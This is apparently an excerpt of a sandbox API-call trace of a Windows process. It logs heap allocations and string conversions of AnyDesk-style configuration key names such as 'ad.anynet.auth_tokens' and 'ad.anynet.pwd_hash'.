RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14850 [0189.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe152d0 [0189.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0189.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16f58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0189.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0189.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16f58, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=24 | out: lpWideCharStr="ad.anynet.auth_disabled") returned 24 [0189.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14868 [0189.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe30608 [0189.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0189.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ffa80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0189.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0189.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ffa80, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.auth_tokens") returned 22 [0189.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14880 [0189.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe30640 [0189.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0190.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe14c40 [0190.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c780, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=15 | out: lpWideCharStr="ad.anynet.cert") returned 15 [0190.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe148b0 [0190.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe152f8 [0190.019] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c724, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0190.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0190.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c724, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cli_ciphers") returned 22 [0190.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe148c8 [0190.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0ef40 [0190.020] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe16660 [0190.020] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0190.020] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0190.020] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe142b0 [0190.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16f70, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.conn_addrs") returned 21 [0190.020] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe148e0 [0190.020] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0ef78 [0190.020] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ffa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0190.020] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f498 [0190.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ffa98, cbMultiByte=-1, lpWideCharStr=0xe2f498, cchWideChar=34 | out: lpWideCharStr="ad.anynet.connect_volatile_tokens") returned 34 [0190.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe148f8 [0190.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f4e8 [0190.021] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f498 | out: hHeap=0x3b0000) returned 1 [0190.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0190.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0190.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9160, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0190.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14910 [0190.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0efb0 [0190.021] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4640, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0190.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0190.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c4640, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=14 | out: lpWideCharStr="ad.anynet.fpr") returned 14 [0190.022] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14928 [0190.022] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe15320 [0190.022] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19efb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0190.022] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe14c40 [0190.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19efb3c, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0190.023] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14940 [0190.023] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe15348 [0190.023] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe125d0 [0190.023] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.023] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00ed8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0190.023] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe16660 [0190.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00ed8, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=20 | out: lpWideCharStr="ad.anynet.keepalive") returned 20 [0190.024] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14958 [0190.024] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe2aae8 [0190.024] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06398, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0190.024] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe1b350 [0190.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06398, cbMultiByte=-1, lpWideCharStr=0xe1b350, cchWideChar=27 | out: lpWideCharStr="ad.anynet.last_auto_update") returned 27 [0190.024] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14970 [0190.024] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe2a428 [0190.025] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b350 | out: hHeap=0x3b0000) returned 1 [0190.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0140c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0190.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0140c, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=24 | out: lpWideCharStr="ad.anynet.listen_socket") returned 24 [0190.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14988 [0190.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0efe8 [0190.025] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0190.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe142b0 [0190.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0653c, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0190.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe149a0 [0190.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0f020 [0190.026] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c770, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0190.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe14c40 [0190.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c770, cbMultiByte=-1, lpWideCharStr=0xe14c40, cchWideChar=15 | out: lpWideCharStr="ad.anynet.pkey") returned 15 [0190.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe149b8 [0190.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe15370 [0190.026] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fdf78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0190.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe16660 [0190.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fdf78, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=19 | out: lpWideCharStr="ad.anynet.pwd_hash") returned 19 [0190.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe149d0 [0190.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe2ab18 [0190.027] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fdf8c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0190.027] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe16660 [0190.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fdf8c, cbMultiByte=-1, lpWideCharStr=0xe16660, cchWideChar=19 | out: lpWideCharStr="ad.anynet.pwd_salt") returned 19 [0190.027] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe149e8 [0190.027] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe2ab48 [0190.027] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16660 | out: hHeap=0x3b0000) returned 1 [0190.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16f88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0190.027] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12208 [0190.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16f88, cbMultiByte=-1, lpWideCharStr=0xe12208, cchWideChar=37 | out: lpWideCharStr="ad.security.permission_profiles.user") returned 37 [0190.027] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a00 [0190.027] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe121b0 [0190.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12208 | out: hHeap=0x3b0000) returned 1 [0190.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16fb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe155a0 [0190.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a16fb0, cbMultiByte=-1, lpWideCharStr=0xe155a0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.predefined") returned 43 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a18 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15a80 [0190.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0190.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fcf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20390 [0190.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fcf08, cbMultiByte=-1, lpWideCharStr=0xe20390, cchWideChar=51 | out: lpWideCharStr="ad.security.permission_profiles.address_to_profile") returned 51 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a30 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x66) returned 0xe20d30 [0190.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa0) returned 0xe00108 [0190.029] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe125d0 | out: hHeap=0x3b0000) returned 1 [0190.029] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20390 | out: hHeap=0x3b0000) returned 1 [0190.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe240, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0190.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe155a0 [0190.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe240, cbMultiByte=-1, lpWideCharStr=0xe155a0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.invitation") returned 43 [0190.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a48 [0190.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15d20 [0190.029] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0190.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c0a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0190.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe2f498 [0190.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c0a8, cbMultiByte=-1, lpWideCharStr=0xe2f498, cchWideChar=36 | out: lpWideCharStr="ad.anynet.register.add_to_namespace") returned 36 [0190.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a60 [0190.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe2f538 [0190.030] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f498 | out: hHeap=0x3b0000) returned 1 [0190.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c0ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0190.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f498 [0190.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c0ec, cbMultiByte=-1, lpWideCharStr=0xe2f498, cchWideChar=33 | out: lpWideCharStr="ad.anynet.register.add_to_roster") returned 33 [0190.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a78 [0190.030] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2f588 [0190.031] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f498 | out: hHeap=0x3b0000) returned 1 [0190.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0190.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe104c8 [0190.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c0cc, cbMultiByte=-1, lpWideCharStr=0xe104c8, cchWideChar=32 | out: lpWideCharStr="ad.anynet.register.namespace_id") returned 32 [0190.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14a90 [0190.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe106c0 [0190.031] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe104c8 | out: hHeap=0x3b0000) returned 1 [0190.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c110, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0190.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe104c8 [0190.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c110, cbMultiByte=-1, lpWideCharStr=0xe104c8, cchWideChar=29 | out: lpWideCharStr="ad.anynet.register.roster_id") returned 29 [0190.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14aa8 [0190.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10708 [0190.032] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe104c8 | out: hHeap=0x3b0000) returned 1 [0190.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c130, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0190.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe104c8 [0190.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c130, cbMultiByte=-1, lpWideCharStr=0xe104c8, cchWideChar=31 | out: lpWideCharStr="ad.anynet.register.roster_tags") returned 31 [0190.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14ac0 [0190.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10750 [0190.032] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe104c8 | out: hHeap=0x3b0000) returned 1 [0190.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0190.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0190.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f54, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.error") returned 22 [0190.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14ad8 [0190.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0f058 [0190.033] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0190.033] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0190.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9f3c, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.state") returned 22 [0190.033] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14af0 [0190.033] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0f090 [0190.033] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0190.033] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe142b0 [0190.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c73c, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.svr_ciphers") returned 22 [0190.033] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12f48 [0190.034] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0f0c8 [0190.034] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00f30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0190.034] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe142b0 [0190.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00f30, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.token_salt") returned 21 [0190.034] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12f60 [0190.034] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0f100 [0190.035] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00f48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0190.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4c) returned 0xe125d0 [0190.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00f48, cbMultiByte=-1, lpWideCharStr=0xe125d0, cchWideChar=38 | out: lpWideCharStr="ad.anynet.accept_volatile_tokens_info") returned 38 [0190.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12f78 [0190.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4c) returned 0xe12208 [0190.035] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe125d0 | out: hHeap=0x3b0000) returned 1 [0190.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe142b0 [0190.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d9190, cbMultiByte=-1, lpWideCharStr=0xe142b0, cchWideChar=23 | out: lpWideCharStr="ad.anynet.update_state") returned 23 [0190.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe12f90 [0190.035] 